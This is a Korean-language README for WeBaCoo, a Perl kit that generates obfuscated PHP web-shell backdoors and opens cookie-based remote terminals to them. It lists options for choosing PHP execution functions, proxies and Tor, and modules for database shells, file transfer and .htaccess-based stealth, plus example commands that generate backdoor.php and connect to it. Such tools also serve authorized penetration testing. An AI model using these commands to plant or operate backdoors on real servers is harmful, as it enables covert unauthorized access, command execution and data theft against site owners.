anestisb/webacoo웹 백도어 쿠키 스크립트 키트
| | | | | ___ \ / __ \
| | | | | |/ / __ | / / ___ ___
| |/| |/ _ \ ___ / ` | | / _ \ / _ \
\ /\ / __/ |/ / (| | _/\ () | (_) |
/ / __/ _,|_/_/ _/
Web Backdoor Cookie Script-Kit
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
작성자: Anestis Bechtsoudis @ bechtsoudis.com Copyright (C) 2011-2012 Anestis Bechtsoudis
이 도구는 테스트 목적으로만 사용되며, 엄격한 동의가 이루어진 경우에만 사용할 수 있습니다. 불법적인 목적으로 사용하지 마십시오.
이 애플리케이션의 수정, 변경 또는 변형은 허용되지만, 이 코드를 사용한 모든 공개 릴리스는 제작자의 승인을 받아야 합니다. 자세한 내용은 LICENSE 파일을 확인하세요.
Tor 프록시 기능을 위해 "libio-socket-socks-perl"을 설치하지 않으려면 webacoo.pl의 25번째 줄을 주석 처리하십시오.
webacoo.pl [옵션]
옵션: -g 백도어 코드 생성 (-o 필요)
-f FUNCTION 사용할 PHP 시스템 함수 FUNCTION 1: system (기본값) 2: shell_exec 3: exec 4: passthru 5: popen
-o OUTPUT 생성된 백도어 출력 파일명
-r 난독화되지 않은 백도어 코드 반환
-t 원격 "터미널" 연결 설정 (-u 필요)
-u URL 백도어 URL
-e CMD 단일 명령 실행 모드 (-t와 -u 필요)
-m METHOD 사용할 HTTP 메서드 (기본값: "GET")
-c C_NAME Cookie 이름 (기본값: "M-cookie")
-d DELIM 구분자 (기본값: 요청마다 새 무작위 값)
-a AGENT HTTP 헤더 User-Agent (기본값 있음)
-p PROXY 프록시 사용 (tor, ip:port 또는 user:pass:ip:port)
-v LEVEL 상세 수준 LEVEL 0: 추가 정보 없음 (기본값) 1: HTTP 헤더 출력 2: HTTP 헤더 + 데이터 출력
-l LOG 활동 로그를 파일에 저장
-h 도움말 표시 및 종료
update 업데이트 확인 및 적용
0.2.1 버전부터 WeBaCoo에 추가 기능을 제공하기 위해 확장 모듈 지원이 추가되었습니다. 터미널 모드에서 'load'를 실행하면 사용 가능한 모듈 목록을 확인하고 원하는 모듈을 초기화할 수 있습니다. 'unload'를 입력하면 터미널 모드로 돌아갑니다.
사용 가능한 확장 모듈: o mysql-cli MySQL 명령줄 모듈 o psql-cli Postgres 명령줄 모듈 o upload HTTP Post를 사용한 파일 업로드 모듈 o download 'od' 및 'xxd'를 통한 stdout 출력을 사용한 파일 다운로드 모듈 o stealth .htaccess 처리를 통한 은밀성 증가 모듈
기본 설정으로 난독화된 'backdoor.php' 백도어 생성 ./webacoo.pl -g -o backdoor.php
'passthru' 함수를 사용하여 난독화되지 않은 'raw-backdoor.php' 백도어 생성 ./webacoo.pl -g -o raw-backdoor.php -f 4 -r
기본 설정으로 원격 호스트와 "터미널" 연결 설정 ./webacoo.pl -t -u http://127.0.0.1/backdoor.php
몇 가지 인수를 설정하여 원격 호스트와 "터미널" 연결 설정 ./webacoo.pl -t -u http://127.0.0.1/backdoor.php -c "Test-Cookie" -d "TtT"
로컬 HTTP 프록시를 통해 원격 호스트와 "터미널" 연결 설정 ./webacoo.pl -t -u http://10.0.1.13/backdoor.php -p 127.0.0.1:8080
기본 인증을 사용하는 HTTP 프록시를 통해 원격 호스트와 "터미널" 연결 설정 ./webacoo.pl -t -u http://10.0.1.13/backdoor.php -p user:password:10.0.1.8:3128
Tor를 통해 원격 호스트와 "터미널" 연결 설정 및 활동 로깅 ./webacoo.pl -t -u http://example.com/backdoor.php -p tor -l webacoo_log.txt